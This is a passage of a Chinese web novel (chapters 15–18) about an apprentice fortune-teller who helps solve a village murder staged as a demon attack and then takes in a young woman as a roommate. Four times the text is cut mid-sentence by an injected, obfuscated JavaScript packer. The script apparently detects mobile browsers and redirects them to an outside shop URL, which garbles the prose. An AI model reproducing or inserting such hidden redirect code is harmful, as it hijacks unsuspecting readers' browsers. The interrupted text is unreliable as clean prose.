闻钰点头,小心觑着男人的神色,道:“我是神道长的徒弟……听说凶手还没抓到,这才想来瞧瞧能不能帮上忙,如果打扰了我现在就离开。” 村民们或许信这些神鬼之说,但官府的人肯定都觉得是无稽之谈。她都做好下一刻离开的准备了,却见男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481198|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人只是沉默盯着她不说话,似在思考什么。 闻钰不觉放慢了呼吸,几息之后,面前的男人微微侧身,让出一条路来:“你去吧,顺着山路上去,有一片平地和两块大石头的地方就是,如果发现什么,及时告知我们。” “好,我知道了,多谢。”得到允许,也没被当成坏人,闻钰很是松了口气。 难道是神道长的名号起了作用?她师父这么出名吗? 按照男人说的顺着路上山,闻钰边走边感叹,俗话说得好,靠山吃山靠水吃水,这山脚下就是村子,上山的路显然也有人打理过,虽然都是泥巴路,但也有许多地方为了方便行走,零零散散铺了些石块。 只是分明瞧着只有一条宽阔些的路,越往上走却越发荒芜冷清了,迟迟没有瞧见那人说的平地,眼前的路也显得阴森昏暗起来。闻钰抬起头,太阳不知何时已经没了踪影,天上乌云密布,黑压压的云层低垂着,似乎触手可及。 眼瞧着一场倾盆大雨就要来临,突然间,闻钰的耳朵敏锐地捕捉到一丝动静,好似人的叹息声,伴随着一阵寒风刮过,她后脊一阵发凉,倏地转过身,却什么也没有发现。 她立刻便想要下山去,可四周皆是茂密的丛林,连个脚印也看不出,她竟一时无法分辨来路的方向。 唰—— 头顶的树冠上有两只黑影掠过,闻钰心跳骤停,望着飞鸟离去的身影,紧张地喘着气。 她得尽快下山才行,若一会儿下了雨,这山上也没个避雨的地方,万一生病了,有个头疼脑热的症状走不动路,那就遭了。虽然官府的人知道她在山上,却也未必会来寻她。 而且若是守卫晚上换了岗,那就更没人想得起她了。 心里的大石高高悬起,闻钰咬着牙,仔细辨认着四周的景色,想到自己来时多是上坡路,便挑了个植被看起来略开阔些,又是下坡的方向走。 可不管她怎么走,这路都瞧着不像是回去的路,天色也越发暗了,寒风穿过树丛,吹得呼呼作响。闻钰默默加快脚步,她总觉得好像有东西跟在她后面,可每每回头,却又什么都看不见。 是凶手?是山中的野兽?还是只是她的错觉? 闻钰心脏怦怦直跳,到最后几乎是跑着往前,可是那跟着她的东西似乎如影随形,完全甩不掉。 她出了一身冷汗,奔跑在昏暗的树林里,眼前一阵模糊,左脚被枝干绊了一下,她轻呼一声,在摔跤前险险扶住了旁边的树,眨眼间的功夫,又感觉到手背上有东西爬过,一只半个手掌大的蜘蛛正顺着枝干爬到了她的手上,闻钰尖叫着连忙将虫子甩开。 停留这一会儿,身后的东西越靠越近,闻钰似乎都能听见它的脚步声到了身后,心脏急促跳动的声音回荡在耳边,她害怕地闭上眼,不知怎么,忽地想到放她进山的那个男人。 她说自己是来除妖的,他就放她进了山…… 难道……这个世界,真的有妖怪? 16. 第 16 章 一只手轻飘飘地搭在闻钰的右肩,闻钰控制不住地抖了一下,短短一瞬间,脑子一片空白,只剩下一个念头—— 这下她是真的无路可去了。 也不知这妖怪为什么找上她,难道是这山上有什么秘密,被她无意间发现了?可她不记得自己看到了什么呀…… 死之前能见识一下上辈子见不着的生物,其实也挺好的。而且万一她运气好,能穿越一次,说不定还能穿越第二次呢。 妖怪怎么还不动手?原来人临死前还有时间想这么多乱七八糟的…… 闻钰死死闭着眼不敢睁开,却听身后的妖怪说了人话:“——你还好吗?” 轻柔的女声,甚至还有些耳熟,闻钰缓了缓神,意识到似乎并没有危险,这才试探着睁开眼缓缓转身,看见陶阿妹的一瞬间,整个人大松一口气,腿一软直接坐到了地上。 “哎——”陶阿妹连忙上来搀扶她,“没事吧?” “没事……就是吓着了。”闻钰借着她的力气重新站起身,陶阿妹能在这儿找到她,应是跟了她一路,可她跑了也有些距离,怎么对方看起来却脸不红气不喘的。 闻钰心里又暗暗升起警惕,松开她的手,往后退了一步:“你怎么在这?” 陶阿妹搀扶的手落了空,只微微顿了顿,就面不改色地收了回去,答道:“官府的人找我问话,得知你上了山,今日天色不佳,我担心你迷路,才跟了上来……也是想要感谢你早的时候帮我说话。” 闻钰想起自己胡编的那几句话,又问:“他们现在更觉得你是妖怪了,你不怪我?” 陶阿妹望着她的眼睛,诡异地沉默了几秒,然后摇了摇头:“我知道你是为我好,这种时候让他们怕我,比帮我解释没做坏事更管用。” 没等闻钰回答,陶阿妹便转过了身,朝着另一个方向走去:“快下雨了,我带你回去吧。” 闻钰应下,分神注意着脚下的路,小心翼翼地跟在她身后。 陶阿妹显然很熟悉这里的路,走得毫不费力,闻钰却看出来她还放慢了脚步好让自己跟上,心里的大石头在回到熟悉的泥巴路上时终于落了地,甚至还有心情同陶阿妹搭起了话。 “你常常上山吗?” “嗯,山上很多草药。” 闻钰恍然点头,怪不得几次见到她,都背着个大箩筐,原来是用来装草药的。 “那你今日进城是要去卖草药吗?” “对。”陶阿妹走到一块大石头旁时,忽地停下脚步,转头道,“你上山来是要找陈启出事的地方吧?这里就是。” 闻钰闻言环顾四周,发现这里的确就是那男子所说的地方,只是称它为平地可能不大合适,准确来说,只是比别的地方平缓些的山坡而已,难怪她没注意到。 只是现在天色阴暗,她晃眼过去,皆是模糊一片,只好道:“现在太暗了,我等雨停了再来吧。” “山里的痕迹,一场雨冲过就什么都没了。若你真心要查,这就是最后的机会。”陶阿妹抬头看着云,“暂且还有些时间。” 这话说得有道理,想到赏金,闻钰只犹豫了一秒,便往平地那边的另一块大石处走去。 走近了才发现,因为光线不好,站在远处时看到石头上黑乎乎的东西并非长满的青苔,而是成片的干涸血迹,隐隐还能看出个人的形状。 只怕是陈启全身的血都被放干在此处了,就连走动时踩过的泥土都隐隐散发着一股血腥味。闻钰围着大石头走了一圈,不仅没看出什么来,还差点被这场景与气味刺激得一阵恶心反胃。 她真是太高估自己了,她在现代也就是个普通人,顶多偶尔看看刑侦剧,这种时候真要自己上场,完全没有头绪。 她到底是为什么要来走这一遭?官府的赏金是那么好赚的吗? 哦对,是硬币说来了会有好事呢……闻钰顿时有些懊恼,她之前迷路的时候太着急,都没想着靠算卦来找方向,白白受了这么一番惊吓,还浪费许多时间。 想到这里,她连忙从口袋里找出硬币,面对着大石头,在心中问出问题:附近有线索吗?字代表左边,花代表右边。 和抛硬币算卦的方式磨合了这些日子,闻钰已经摸索到了些门路,比如像这样,在抛硬币前事先想好哪一面代表什么,也能得到结果,有时候比问对错与是否更好用些。 她不知道这是不是就是神道长所说的“天赋”,但她算的卦越多,越能明显觉察到她与硬币之间的联系与默契,这种感觉很是奇妙。 硬币抛起的一瞬间,忽然刮来一阵强风,眼瞧着硬币被风刮走,闻钰瞳孔骤缩,飞快伸手去抓,这可是她吃饭用的东西啊,绝不能弄丢了! 可接下来发生的一切似乎又在预料之中,硬币顺着她的手指缝隙漏了出去,砸到不远处的一块岩壁上,发出轻微的碰撞声。 闻钰连忙循着声音找过去,蹲下身,在一丛丛草木中发现了落在地上的银色圆片。 还好找到了,她安下心来,伸手捡起,却皱了皱眉,将硬币放到鼻边仔细又闻了闻—— 怎么硬币上也有一股浓浓的血腥味? 确认了不是自己手上的味道,闻钰又低头望着硬币落下的位置,用手指捻起一些泥土,无法分辨出是否有血色,又凑近闻过,这才确认了这里竟也有血迹。 可是……她回头看了眼那块布满血迹的大石,和这里分明隔了六七米的距离,石头的位置也比这里矮一些,就算是血液飞溅或是渗透至地上,都不至于会到这个地方来。 闻钰摸索着周围的泥土,发觉果真都只是普通的泥土,便越发奇怪了。难道是另一人的血?还是陈启在那块大石头上被放血之前,就已经受了伤,滴落在了此处? 她蹲在原地沉思着,目光忽地又落到手里的硬币上,冥冥之中似乎是硬币指引她来查看此处,而硬币落地时又是字的那面朝上……闻钰抬起头望向左手边,一边仔细观察着地面一边摸索着向前。 走出去两三米远,忽地,她注意到前方有一片泥地和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481199|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围都不太一样,即便在这样的天色下也能看出颜色更深,且杂草的数量也更少,像是近期被人翻动过。 闻钰自己没有太多野外的经验,正想请陶阿妹来瞧一瞧,却先听见了对方的催促声:“雨就要来了,不能再留了,我们得下山了。” “你快过来瞧瞧,这里!” “发现东西了?”陶阿妹快步过来,看见那片泥地,皱了皱眉,也道,“有人动过这里?” “应该是,怎么办?不知道下过雨之后还能不能找到什么。” 这松动的泥土,雨一淋还能剩下什么? 陶阿妹眉心紧拧,迅速从旁边的树上折下一段树枝插在地上,又摆了块小石头在树枝旁边,做完这些,大颗大颗的雨滴已经从空中坠落,打湿二人鬓边的发。 闻钰还没反应过来,陶阿妹就拽着她往山下狂奔,“我记住位置了,我们先下去找人。” 到了山脚下,二人的头发几乎湿了大半,却见进山的路口没了守卫的身影,二人心里都是一紧,又继续往前跑,好在走了不远就瞧见了穿着暗红色衣袍的两名守卫,他们步履飞快,瞧着也是要去躲雨的样子,闻钰见状立刻大喊道:“二位官爷!” 守卫们齐齐停下脚步,闻钰见他们转身,继续道:“我们发现了线索!” 守卫们如何不知这山中的痕迹保存不了太久,更何况正下着大雨,若哪里的土石被大雨冲刷后变得松动,那片平地与两块大石都指不定没了影踪。 他们对视一眼,一人果断往村里去通知陆旭,另一人则大步上前,跟着闻钰二人重新上了山。 等陆旭带着一队人赶到,就见他们三人已经将那片泥地挖了个大坑,闻钰手上是沾满泥土的剑鞘,另两人则是满手泥。 陆旭见状,庆幸自己让人带上了工具,三人让了位置给他们,躲到伞下,站到一旁和陆旭说明情况。 “你们发现了什么?怎么好端端的挖起土来了?” 闻钰将自己的发现如实说出,捕快们动作都很快,就说几句话的功夫,已经挖了快有一人高的深度。陆旭听完,皱眉看向那个土坑。 这个案子古怪得很,希望这个土坑里真能找出些什么不寻常的东西,否则,只得等到—— “头儿,好像有东西!” 陆旭一个激灵,连忙上前到坑边查看。 唤他来的捕快继续挖着,很快看清了东西的全貌:“是把斧头!不过后面好像还有东西……” 斧头被人递到陆旭手里,他前后翻看着,思考着这坑里的斧头会是什么意思。 “头儿,后面好像就是一块石头……不对,这石头上好像有血!伞!” 两把伞严严实实地挡住雨,石头送到了陆旭面前,但雨已经下了有一会儿,防不住雨水与泥土的覆盖与冲刷,上面的血痕已经被洗去了大半。陆旭仔细将东西包好,吩咐坑里的人再找找还有没有别的东西,便先带着闻钰几人下了山。 狭窄的山路旁,一个人影猛然闪进树丛中。 17. 第 17 章 因为大雨迟迟不停息,这一晚闻钰便留宿在了陶阿妹家中。 官府那边如何忙碌了一整晚,二人无从得知,只在第二天一早出门打水时,撞上了行路匆匆的村民,告诉她们案子破了,凶手抓到了。 陶阿妹一怔,问道:“凶手是谁?” 说话的人同陶阿妹关系尚可,也知道她这几日被当成凶手看待,颇有些怜悯的朝她投来一个眼神:“听说是陈岳兄弟俩……具体的我也不清楚,说是官府的人正在审问呢,你不过去瞧瞧?” 村子里少有这样的大事,这消息一传十十传百,待闻钰二人跟随人流到了陈岳家门外时,简直感觉全村的人都聚在这儿了。 旁边有人正和后来的人说着先前的情况,说那兄弟俩几乎是开门一见到官府的人就立刻认了罪。 “哎哟!”一妇人震惊道,“他们兄弟俩平日里瞧着也不是那么凶残的人啊……我还以为是陶阿——” 她身旁的男人瞧见了陶阿妹和闻钰,连忙用力推了自家媳妇一下,示意她闭嘴。 “你推我干什么……”妇人本还抱怨着,扭过头见到陶阿妹,立刻便老实地收了声。 可安静了片刻,她还是忍不住八卦的心,又问:“所以他们兄弟俩到底是为啥下这么狠的手?他们和陈启有过节?” “你安静些吧,听里头不是正在问吗……” 也不知是为什么,这案子竟然在村子里就审了起来。因为围观的人太多,闻钰二人离得远,并不能听清屋里审问的声音。 说是堵在陈岳家倒也不对,审问是在村长家进行的,而村长家就在陈岳家隔壁,一齐都被围了个水泄不通。 闻钰刚在这站了一会儿,便听见有人在唤她和陶阿妹的名字。 一捕快从村长家中走出来,高声问道:“闻道长与陶阿妹可在此处?” 二人对视一眼,穿过盯着她们议论纷纷的人群,走到前方,被迎进了村长家,这才知道原是为了昨日那个土坑来找她们作证的。 捕快头子陆旭和村长站在一旁,坐在正中主位上的是一位穿着官服的中年男子,即便闻钰不曾见过他,此情此景也一下就猜到了对方的身份,和陶阿妹一起向对方行礼。 跪在地上的两名男子已经被绑上了手,偏头看了她们一眼,又默默的收回了目光。 刘县令招了招手,让人端出证物,问道:“这斧头和石块的位置,可是你们二人发现的?将当时的情况详细说来。” 闻钰仔细看了旁边的人端着的托盘,确认了东西:“回大人的话,确实是民女发现的。” 因为昨天已经回答过一次这个问题,闻钰流利地又将昨日发现那块泥地不同的情形详细道出,刘县令耐心听完,看向跪着的二人,问:“方才已有村民作证,听到过你们与死者陈启提及过山上有猎物一事,而陈启家的斧头与带有血迹的石块一起被发现,有人证也有物证。你们二人将其骗至山中设计杀害,又故意破坏死者尸身,放干了血,再将他运回家中,伪装成他被妖怪残忍杀害的景象,以此逃避官府追查,事实可是如此?” 兄弟二人都没有异议,一齐俯首认罪。 陈岳兄弟俩和村长沾着点亲,是他从小看着长大的,看见二人此时的情状,忍不住惋惜道:“你们兄弟俩这到底是为什么呀!便是与那陈启有些过节,那也不至于杀人吧!怎么就……怎么就……唉!” 刘县令瞥他一眼,清了清嗓子:“肃静。” 随后,他也问出了这个所有人最关心的问题:“陈岳,陈永,你们二人杀人的缘由为何?” 兄弟俩许是都已经认了命,被审问时面色都非常平静,但说起这个话题,两人中较清瘦些的那名男子面色控制不住地狰狞了一瞬,咬牙道:“陈启他该死!” “都是他!是他害死了絮娘!” 刘县令看向村长:“这絮娘又是何人?” 村长也震惊道:“你是为了絮娘?” 陆续见他愣神,拍了他一下,提醒道:“大人问话呢。” 村长回过神来,连忙抬手解释:“絮娘……是村里的一位小娘子,前些日子跳河……人没了。” “跳河?”刘县令拧起眉,“什么缘由?” “村子里传出了些不好听的话……她父母要将他送去给富商做小妾,这絮娘不堪受辱,才跳了河……” 刘县令的目光重新落回兄弟俩身上:“陈永,既是跳河,你又为何说是陈启害死了她?” 陈永好似将此处当作唯一能为絮娘洗清污名的地方,愤慨道:“那些难听的话,全都是陈启传出来的!絮娘被陈新怀那混蛋骗了,本就十分难过,陈启却还编造流言,诋毁她的清白,说她早已与人有染,还说什么她去城中找道士是为了算良辰吉日,迫不及待想要嫁过去做举人夫人……就是这些狗屁不通的话,他传得全村都知道了,叫絮娘在爹娘面前都抬不起头见人,才会被逼到走投无路跳了河!” 闻钰听到这里却怔住了,姓陈的读书人、被人骗、进城找道士算命…… 这话里的内容太过耳熟,莫非这絮娘,就是之前来算姻缘的那位郁郁寡欢的小娘子? 这村子姓陈的人太多,她完全没想过她和那陈郎君竟然都是这里的人。只是,她师父拐着弯儿地说话,不想让那小娘子太过伤心,可没想到她最终还是落得此等结局,甚至去算命摊的事似乎也成了她催命符上的一笔…… 那一道凶卦,可有算到这短短数日便发生了这么多不可挽回之事? “闻道长。” 听见有人唤她,闻钰骤然回神,便见陈永目光灼灼盯着她:“听说道长是西市神道长的徒弟,絮娘那日去找的就是神道长,你可知道她那日究竟算的是什么?” 闻钰握紧了拳,正欲回答,刘县令却抬手阻止:“陈永,此事与本案无关,无需多费口舌。” “我认为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481200|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并非无关,”闻钰突然出声,引来众人视线,她深吸一口气,继续道,“我记得那位娘子,她的确是来算姻缘的,但她更想知道的,是对方是否欺骗了她。” 陈永连忙问:“结果如何?” “她那一卦的卦象,是大凶。” 陈永闻言便忍不住骂上了陈新怀,刘县令又是一声警告,随后看向闻钰,微眯起眼质问道:“那位娘子算的卦,如何与本案有关?” “根据当日絮娘所言,她与陈郎君清清白白,甚至对方还向她借了不少钱,以维持在亲戚家借住的生活,而絮娘找道士更不是为了早日嫁给他,这便说明陈启所说的皆是谣言。” “而陈启这人,我上一次来陈家村时,正巧碰见过他追着陶阿妹不放,言语行为颇为轻浮,村里人也说他常常纠缠村中的小娘子,这点我想村里任意一人都能证明。” “我并非为凶手说话,杀人必然需要付出代价。只是,若死者是个这样的恶人,絮娘也是因他所做的恶而死,我想,多少也算得上是陈启应得的报应。” 刘县令皱着眉听完她的这番话,看了眼陆旭,摆了摆手让他把人带下去,莫要让证人继续在审讯的堂上作乱。 陆旭领命,立刻上前请二人离开,三人刚走到屋门口,却又听身后的刘县令道:“等等——” 几人转过身,刘县令看向从头至尾没说过几句话的陶阿妹,问:“陶阿妹,方才闻道长所说,陈启纠缠你和村中其他娘子之事,可属实?” 陶阿妹看了一眼闻钰,点头回答:“属实。” “知道了,你们走吧。” 闻钰二人到了屋外没有立即离开,和村民们一起等待着刘县令最后的决定。 没过多久,刘县令甩甩袖子,从村长家出来,瞥了一眼闻钰二人,轻哼一声,径直离去。 而在他身后出来的陆旭面对着众人,宣布了陈岳兄弟俩的结局:“陈启被害一案已查明,凶手确为陈岳、陈永二人,二人已认罪,杖五十,流三千里。” 闻钰不熟悉古代的法律杀人罪通常都怎么判,于是问陶阿妹:“这算判得重还是不重?” 却见陶阿妹也摇头,但折回来命手下押上陈岳兄弟俩回县衙的陆旭听见了,顺便解答了她的疑问:“想来还是闻道长那几句话起了作用,谋杀可是死罪,这已经算是轻判了。” 闻钰了然点头,长舒了一口气。 她这算不算是也为无辜的絮娘做了些什么呢? 想到这一趟本是被周娘子请来除妖的,闻钰心中也颇为感叹。她就说嘛,这世界上哪有妖怪,都是人在背后搞鬼! 对了,还有赏金!她帮忙挖了那么大一个坑呢! 闻钰赶忙追上还没走远的陆旭,虽然有些不好意思,但仍开口问了赏金之事。 陆旭先是一愣,随后笑道:“原来闻道长是为赏金才来帮忙的。这赏金得去县衙领,要不道长跟我们走一趟?” 18. 第 18 章 “县衙在哪儿?” “县衙自然是在城中。”陆旭微微有些不解,“闻道长也要回城吧?” 这倒是,案子破了,她也得回去了,和他们一起走,说不定还能蹭一蹭车。 可跟着陆旭走了几步,眼瞧着前面的捕快们已经往村口去,既没有马,更没有马车的踪影,闻钰疑惑道:“你们要怎么回城?” “自然是走路。” 闻钰震惊地瞪大了眼,她来的时候都有牛车坐呢,跟着捕快们回京,竟只能走路! 牛车都得走好一会儿呢,走路可不得一小时起步了? “你们出城不骑马吗?” “县衙里的马可没有那么多,再说这陈家村离得也不是很远。” 见他一脸坦然,似乎这都是再正常不过的事儿了,闻钰只好克制住脸上的惊讶,以免显得太不像古代人,但她却犹豫起来,想着要不再请周娘子的大侄子跑一趟,送她回城。 反正县衙在京里又不会跑,她早些去晚些去都是一样的,倒也不必非跟着他们一起走。 告别了陆旭,闻钰转过身又往村里去,正想着还得找一找周娘子家的路,而且之前她用妖怪吓跑了人,也不知道她还愿不愿意再卖自己这么一个人情。 瞧见陶阿妹就在身后不远处望着她这边,经历了这个案子,二人也熟络不少,闻钰忽然想到,既然那土坑是两人一起发现的,那赏金自然也得有她的一份,于是上前和她说了赏金的事儿,问她要不要一起去县衙。 陶阿妹飞快应了好,得知她要去周娘子家,便主动给她带路。 刚走了两步,却见一个身影拦在了她们面前,闻钰抬头,发现正是周娘子的大侄子,惊喜道:“大侄——” 这两个字刚出口,闻钰便反应过来这样称呼人太不礼貌,连忙止住声儿,尴尬笑笑:“见了几次,还不知怎么称呼?” 虽然这村里的人大多姓陈,但也有陶阿妹、周娘子这样的外姓,她不敢随意称呼,免得反而冒犯了人。 大侄子朝二人微微颔首:“我叫周阳,你们可是要去城中?我正好也要进城,可以捎带你们一程。” 她本就是要去寻他的,这样自然是最好,闻钰高兴应下。 很快,周阳将牛车牵来,三人同行上了路。 昨日雨下个没完,今日却是个万里无云的大晴天,虽然只是夏初,却已经有些晒得人睁不开眼。 闻钰抬手用袖子遮住脸,察觉到陶阿妹频频扭头看她,几次欲言又止,闻钰忍不住问道:“陶娘子有话要和我说?” “闻道长可是住在城中?” 闻钰不明所以,点点头:“是呀,怎么了?” 陶阿妹抿着唇,似乎终于下定了决心,小声说道:“我其实……不是陈家村的人。村里人对我的态度,你应该也能看出来几分,我不愿再留在村里,以后可否跟着道长?” 这话一出,就连周阳都回头看了一眼。 闻钰震惊得一时无言,她不过就是出城一趟,又不是什么□□老大,怎么还收起了小弟小妹? 她连忙摆手拒绝:“我也进京不久,自己都还给人当徒弟呢,赚不到几个钱,你跟着我能做什么?” “道长只要能收留我,有个能歇息的地方就可以……当然,我不会白吃白住的,我什么活都可以干,我也可以付租钱!” ……租钱? 提到这个,闻钰就有些心动了。 虽然后院没有多的屋子,但她的房间里其实还有位置再摆一张床,两个人也不是住不下,而且多个人也能分担一下房租钱,就当找了个室友呗,大不了以后钱赚得多了,她再租个别的院子,两人也能有各自的房间。 不过吧,院子里住的也不止她自己,还得回去问问安巧才是。虽然她应该不会不同意,但这样的事儿还是得尊重一下室友的意见。 闻钰没立即答应,只道:“一会儿去了县衙,我先带你去见见院子里同住的一位娘子吧。” 她这样说,便代表着这事儿已经成了一半了,陶阿妹自然不会有意见,脸上立刻便有了笑。 她这一笑,闻钰才发觉陶阿妹其实是个长相颇为清秀可爱的小娘子,圆脸杏眸,笑起来像朵花儿一样,只是兴许之前两次遇见她时都没有什么好事儿,大约也是生活所迫,为了保护自己,才总是冷着脸,一副拒人于千里之外的模样。 现在仔细一瞧,分明也只是个十几岁的小姑娘而已。 “那你在陈家村的屋子要怎么办?” 陶阿妹摇头:“那不是我的屋子,是村里人不住,村长做主借给我暂住的。” 这屋子也不是白住的,既然占了村里的地,每到春耕秋收的农忙之时,她就得跟着村里的人干活。 而且说是借,但其实屋主就住在附近看着呢,时不时还仗着这屋子,使唤她做这做那,分明屋门一合就只剩自己一人,却仍是感觉寄人篱下。 陶阿妹虽没明说,但闻钰一听是借住,便多少明白了几分。 安巧那花钱租的房子都还有可能会被主人家劝走,更别提这白给人住的屋子。对村民们来说,陶阿妹又是个外人,明里暗里指不定要受多少委屈呢。 “可是……你自己搬出来住就是,为什么非想要跟着我呢?” 陶阿妹望着身后随着车轮转动而扬起的黄沙,回答却有些出乎意料:“我也不知道……可能因为,你是个好人吧。” * 驾着牛车进了城,周阳将他们二人送到县衙门外,便不知忙什么去了。闻钰感叹着周娘子这大侄子真是个好心人,与陶阿妹一同进了县衙。 只是不巧,她们来得比陆旭一行人都要快,这赏金却需得有人证明他们的确提供了线索才能领,两人正站在院内发愁,想着是否晚些再来,便听见一旁有人问道:“什么事?” 闻钰转头一瞧,立马便不愁了。对啊,她都忘了,还有县令大人也能为她们作证呢! 两百文的赏金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481201|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到手,闻钰笑着谢过冷脸县令,美美地捏着钱袋子,带着陶阿妹往西市去了。 今日天气好,西市也十分热闹,刚走近算命摊,神道长一瞧见闻钰,整个人都跳了起来。 “哎哟,我这不省心的徒弟,不是就说去瞧瞧,怎么一去就不回了,也没个信儿……为师这一把年纪了,还要为小徒弟操心,你如何过意得去……” 什么一把年纪……她师父真是说谎都脸不红心不跳的,闻钰看着神道长跳脚,默默在心里翻了个白眼。 不过这事儿确实怪她,她也没料到会耽搁这么久,只好赔笑解释道:“都是徒弟的错,这不是不巧,昨晚下了大雨嘛。我一时半会儿也回不来,才拖到了现在。” 神道长上下打量她,见她确实好手好脚的回来了,才冷哼一声:“不是被那村里的妖怪吃了就好。” 他的目光转而落在陶阿妹身上,问:“这位小娘子是?” “一个朋友。”闻钰没有多解释,只道,“师父,我先带她回家一趟,一会儿就回来!” 还不等神道长回应,闻钰就拉着陶阿妹跑没了影儿。 神道长又一声冷哼,阴阳怪气道:“就出去一天,都交上朋友了。” 刘婶听见了,好笑道:“年轻的小娘子嘛,总是爱玩爱闹些,交朋友也容易,等成了家就没这般性子了……前两日我家阿兰回来,那都像变了个人一样……” 闻钰带着陶阿妹进了院子,安巧正在打水洗衣,听了陶阿妹想要搬进来住的事儿,一口便答应了,还张罗着立刻就要陪她们去西市买东西。 将买来的东西都安置好,陶阿妹有了安心的落脚处,这一日也已经过去了一半。安巧正蠢蠢欲动地想要做一餐丰盛些的,欢迎陶阿妹的到来,闻钰却道:“要不晚上再庆祝吧?我昨日没回来,我师父正不高兴着呢,我还是早些过去看看,好让他消消气。” “不过,陶娘子不需要回去收拾些东西来么?” “我的东西不多,倒也没什么特别需要收拾的……今日就不折腾了,明日我回去和村长说一声,再将东西都带过来。” 三人简单用过午饭,安巧抱了小安望出来晒太阳,见陶阿妹和她相处得不错,闻钰便也放心出门了。 回到算命摊,闻钰做好了要听神道长念叨几句的准备,却见他好似什么都没发生过一般,懒懒抬起眼皮,催促道:“快些的吧,这位郎君特意等着你回来算卦呢。” 闻钰应了一声,小跑两步过去,给那位郎君算完姻缘,又将从县衙领来的赏金孝敬了一些给神道长,才终于换来他满脸写着“孺子可教”的满意笑容。 现在算命摊边已经多添了个椅子,闻钰坐下,想到今早絮娘的事,道:“师父,之前来算姻缘,说是被郎君骗了的那个小娘子,你还记得吗?” 神道长抚着胡须:“怎么了?” “她叫絮娘,和周娘子是一个村的,这次的案子就是和她有关,听说……她前些日子跳了河。”